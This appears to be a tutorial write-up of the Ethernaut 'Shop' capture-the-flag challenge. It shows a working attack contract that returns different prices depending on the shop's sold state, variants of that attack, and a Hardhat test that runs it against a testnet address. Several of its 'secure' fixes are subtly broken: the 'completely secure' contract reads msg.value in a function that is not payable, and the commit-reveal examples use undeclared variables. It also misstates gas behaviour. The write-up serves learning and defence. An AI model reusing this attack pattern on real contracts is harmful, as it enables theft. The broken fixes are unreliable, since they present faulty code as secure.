Skip to content
On this page

Exploiting State-Dependent View Functions: A Deep Dive into the Ethernaut "Shop" Challenge

Introduction

Smart contract security remains one of the most critical aspects of blockchain development, with even seemingly simple contracts harboring subtle vulnerabilities. The Ethernaut "Shop" challenge, created by Ivan Zakharov, presents a fascinating case study in how view functions can be manipulated when they depend on contract state. This technical article will dissect the challenge, explore the underlying vulnerability, and demonstrate a sophisticated exploitation technique that allows purchasing an item for less than its advertised price.

Understanding the Challenge

The Shop Contract Architecture

At first glance, the Shop contract appears straightforward: it maintains a price (initially 100) and a sold status, with a single buy() function that allows users to purchase the item. However, the devil is in the details:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBuyer {
  function price() external view returns (uint256);
}

contract Shop {
  uint256 public price = 100;
  bool public isSold;

  function buy() public {
    IBuyer _buyer = IBuyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

The contract employs an interface pattern where it expects the caller (msg.sender) to implement the IBuyer interface. This design pattern is common in Ethereum for creating extensible systems, but it introduces a critical vulnerability when combined with state-dependent view functions.

The Core Vulnerability: State-Dependent View Functions

The vulnerability stems from the buy() function calling _buyer.price() twice under different conditions:

  1. First call: In the conditional check if (_buyer.price() >= price && !isSold)
  2. Second call: In the assignment price = _buyer.price() after isSold has been set to true

This creates a race condition of sorts, where the price() function can return different values depending on whether the item has been sold. In Ethereum, while transactions are atomic and executed sequentially, the ability of a view function to inspect the calling contract's state enables this type of manipulation.

The Exploitation Strategy

Understanding View Function Behavior

View functions in Solidity are designed to be read-only operations that don't modify state. However, they can read the state of other contracts. This capability becomes dangerous when a view function's return value depends on external state that can change during the execution of a single transaction.

The key insight is that between the first and second calls to _buyer.price(), the Shop contract's isSold variable changes from false to true. If our attacker contract can detect this state change, it can return different prices for each call.

The Attack Contract Analysis

Let's examine the solution provided in Hack.sol:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IShop {
    function price() external view returns (uint256);
    function isSold() external view returns (bool);
    function buy() external;
}

contract Hack {
    IShop private immutable target;

    constructor(address _target) {
        target = IShop(_target);
    }

    function doBuy() external {
        target.buy();
    }

    function price() external view returns (uint256) {
        return target.isSold() ? uint(0) : uint(100);
    }
}

The attack contract implements several clever techniques:

  1. Interface Redefinition: It defines its own IShop interface to interact with the target contract.
  2. State Inspection: The price() function checks the target's isSold() status.
  3. Conditional Return: Returns 100 when the item isn't sold (to pass the initial check) and 0 when it is (to set the final price).

Step-by-Step Attack Execution

  1. Initial State: Shop price = 100, isSold = false
  2. Attack Initiation: Call doBuy() which triggers target.buy()
  3. First price() Call: Shop calls _buyer.price() for the conditional check
    • target.isSold() returns false
    • Our price() function returns 100
    • Condition 100 >= 100 && !false evaluates to true
    • Shop sets isSold = true
  4. Second price() Call: Shop calls _buyer.price() for the price assignment
    • target.isSold() now returns true
    • Our price() function returns 0
    • Shop sets price = 0
  5. Final State: Shop price = 0, isSold = true

Technical Deep Dive

Ethereum Execution Context

To fully understand why this attack works, we need to examine Ethereum's execution model:

  1. Transaction Atomicity: All state changes in a transaction either complete entirely or revert entirely.
  2. Call Stack Depth: The Shop contract calls our contract's price() function, creating a nested call.
  3. State Visibility: During the nested call, our contract can read the Shop's state, including the newly set isSold value.

The critical realization is that state changes within a transaction are immediately visible to subsequent calls, even before the transaction completes. This is different from traditional databases where changes might not be visible until commit.

Gas Considerations and Optimization

While the attack contract is simple, gas optimization is always important in Ethereum:

solidity
// Gas-optimized version with explicit visibility
contract OptimizedHack {
    IShop public immutable target;
    
    constructor(address _target) {
        target = IShop(_target);
    }
    
    function attack() external {
        target.buy();
    }
    
    function price() external view returns (uint256) {
        // Single SLOAD operation for gas efficiency
        bool sold = target.isSold();
        return sold ? 0 : 100;
    }
}

Key optimizations:

  • Using public for target allows direct access without getter function
  • Storing target.isSold() in a local variable reduces gas costs
  • Minimal storage operations

Testing the Exploit

Comprehensive Test Suite

The provided test file demonstrates proper verification of the exploit:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Shop, Hack } from "../typechain-types";

describe("Shop", function () {
  describe("Shop testnet online sepolia", function () {
    it("testnet online sepolia Shop", async function () {
      const SHOP_ADDRESS = "0x...";
      const ShopFactory = await ethers.getContractFactory("Shop");
      const SHOP_ABI = ShopFactory.interface.format();
      const challenger = await ethers.getNamedSigner("deployer");
      const shopContract = new ethers.Contract(SHOP_ADDRESS, SHOP_ABI, challenger);

      // Verify initial state
      const price_before = await shopContract.price();
      expect(price_before).to.be.equals(100);
      const isSold_before = await shopContract.isSold();
      expect(isSold_before).to.be.equals(false);

      // Deploy attack contract
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(SHOP_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      // Execute attack
      const tx = await hack.doBuy();
      await tx.wait();

      // Verify attack succeeded
      const price_after = await shopContract.price();
      expect(price_after).to.be.equals(0);
      const isSold_after = await shopContract.isSold();
      expect(isSold_after).to.be.equals(true);
    });
  });
});

Enhanced Testing with Edge Cases

A robust test suite should include edge cases:

typescript
describe("Shop Edge Cases", function () {
  it("should handle multiple attacks", async function () {
    // Test that the attack only works once
    const shop = await Shop.deploy();
    const hack = await Hack.deploy(shop.address);
    
    await hack.doBuy();
    
    // Second attempt should fail or have no effect
    try {
      await hack.doBuy();
    } catch (error) {
      // Expected - item already sold
    }
    
    const finalPrice = await shop.price();
    expect(finalPrice).to.equal(0);
  });
  
  it("should work with different initial prices", async function () {
    // Test with modified Shop contract
    const ModifiedShop = await ethers.getContractFactory("ModifiedShop");
    const shop = await ModifiedShop.deploy(500); // Initial price 500
    
    const hack = await Hack.deploy(shop.address);
    await hack.doBuy();
    
    // Our hack needs modification for different prices
    const price = await shop.price();
    expect(price).to.be.lessThan(500);
  });
});

Prevention and Mitigation Strategies

Secure Design Patterns

To prevent this vulnerability, developers should follow these secure design patterns:

  1. Avoid State-Dependent View Functions in Critical Logic:
solidity
// Secure implementation
function buy() public {
    require(!isSold, "Already sold");
    
    uint256 buyerPrice = _buyer.price();
    require(buyerPrice >= price, "Insufficient payment");
    
    isSold = true;
    // Use the stored value, not a new call
    price = buyerPrice;
}
  1. Use Commit-Reveal Patterns:
solidity
// Commit-reveal pattern
contract SecureShop {
    mapping(address => bytes32) public commitments;
    
    function commitPrice(bytes32 hash) external {
        commitments[msg.sender] = hash;
    }
    
    function buy(uint256 price, bytes32 salt) external {
        require(keccak256(abi.encodePacked(price, salt)) == commitments[msg.sender],
                "Invalid commitment");
        require(price >= shopPrice && !isSold, "Invalid purchase");
        
        isSold = true;
        shopPrice = price;
    }
}
  1. Two-Phase Transactions:
solidity
contract TwoPhaseShop {
    struct Purchase {
        uint256 offeredPrice;
        bool confirmed;
    }
    
    mapping(address => Purchase) public pendingPurchases;
    
    function offerPrice(uint256 _price) external {
        require(_price >= price && !isSold, "Invalid offer");
        pendingPurchases[msg.sender] = Purchase(_price, false);
    }
    
    function confirmPurchase() external {
        Purchase storage purchase = pendingPurchases[msg.sender];
        require(purchase.offeredPrice >= price && !isSold, "Cannot confirm");
        
        isSold = true;
        price = purchase.offeredPrice;
        purchase.confirmed = true;
    }
}

Best Practices for Interface Design

  1. Immutable Return Values: When designing interfaces that will be called by other contracts, consider whether return values should be immutable for the duration of a transaction.

  2. Explicit State Requirements: Document whether functions depend on external state.

  3. Use of view and pure: Be cautious when marking functions as view if they read external state that could change.

Real-World Implications

Historical Incidents

Similar vulnerabilities have appeared in production contracts:

  1. DAO-style attacks: Early DAO implementations suffered from reentrancy attacks that share conceptual similarities with this vulnerability.

  2. Price oracle manipulation: Many DeFi protocols have been exploited through similar state-dependent price queries.

  3. Governance attacks: Some governance mechanisms can be manipulated through similar timing attacks.

Industry Impact

This vulnerability class affects:

  • Decentralized exchanges: Price calculations during swaps
  • Lending protocols: Collateral valuation
  • Insurance contracts: Claim assessment logic
  • Prediction markets: Outcome determination

Advanced Attack Variations

Multi-Contract Coordination

More sophisticated attacks could involve multiple contracts:

solidity
contract CoordinatedAttack {
    IShop public target;
    Helper public helper;
    
    constructor(address _target) {
        target = IShop(_target);
        helper = new Helper();
    }
    
    function price() external view returns (uint256) {
        // Delegate to helper contract for more complex logic
        return helper.calculatePrice(target);
    }
}

contract Helper {
    function calculatePrice(IShop shop) external view returns (uint256) {
        // Complex logic based on multiple state variables
        if (shop.isSold()) {
            return 0;
        } else {
            // Additional checks or calculations
            return 100;
        }
    }
}

Time-Based Attacks

While Ethereum doesn't have reliable block timestamps within a single transaction, some variations could exploit timing in multi-transaction scenarios.

Conclusion

The Ethernaut "Shop" challenge teaches several critical lessons in smart contract security:

  1. View functions are not truly pure: They can read and react to external state changes.
  2. State changes are immediately visible: Within a transaction, state modifications are visible to nested calls.
  3. Interface patterns require careful design: When contracts call external functions, they must consider how those functions might behave differently based on state changes.

Key Takeaways for Developers

  1. Minimize external calls in critical logic: Store return values locally when possible.
  2. Validate assumptions about external functions: Don't assume consistency across multiple calls.
  3. Implement comprehensive testing: Include tests that simulate malicious callers.
  4. Consider alternative architectures: Sometimes different design patterns can eliminate entire classes of vulnerabilities.

Final Secure Implementation

Here's a completely secure version of the Shop contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecureShop {
    uint256 public price = 100;
    bool public isSold;
    
    function buy() public {
        require(!isSold, "Item already sold");
        
        // No external calls in conditional logic
        // Price must be sent with transaction
        require(msg.value >= price, "Insufficient payment");
        
        isSold = true;
        
        // Refund excess payment
        if (msg.value > price) {
            payable(msg.sender).transfer(msg.value - price);
        }
    }
    
    // Optional: Allow price negotiation through commit-reveal
    bytes32 public committedPrice;
    address public committer;
    
    function commitToPrice(bytes32 hash) external payable {
        require(!isSold, "Item already sold");
        require(committedPrice == bytes32(0), "Price already committed");
        
        committedPrice = hash;
        committer = msg.sender;
    }
    
    function revealPrice(uint256 _price, bytes32 salt) external {
        require(msg.sender == committer, "Not the committer");
        require(keccak256(abi.encodePacked(_price, salt)) == committedPrice,
                "Invalid reveal");
        require(_price >= price && !isSold, "Invalid price");
        
        isSold = true;
        price = _price;
        
        // Handle payment logic
    }
}

This implementation eliminates the vulnerability by either requiring payment with the transaction or using a commit-reveal pattern that prevents the caller from changing their offered price based on contract state.

The "Shop" challenge serves as an excellent reminder that in smart contract development, we must think not just about what our code does, but how it can be made to behave by potentially malicious actors. By understanding and addressing these vulnerabilities, we can build more secure and robust decentralized applications.

Built with AiAda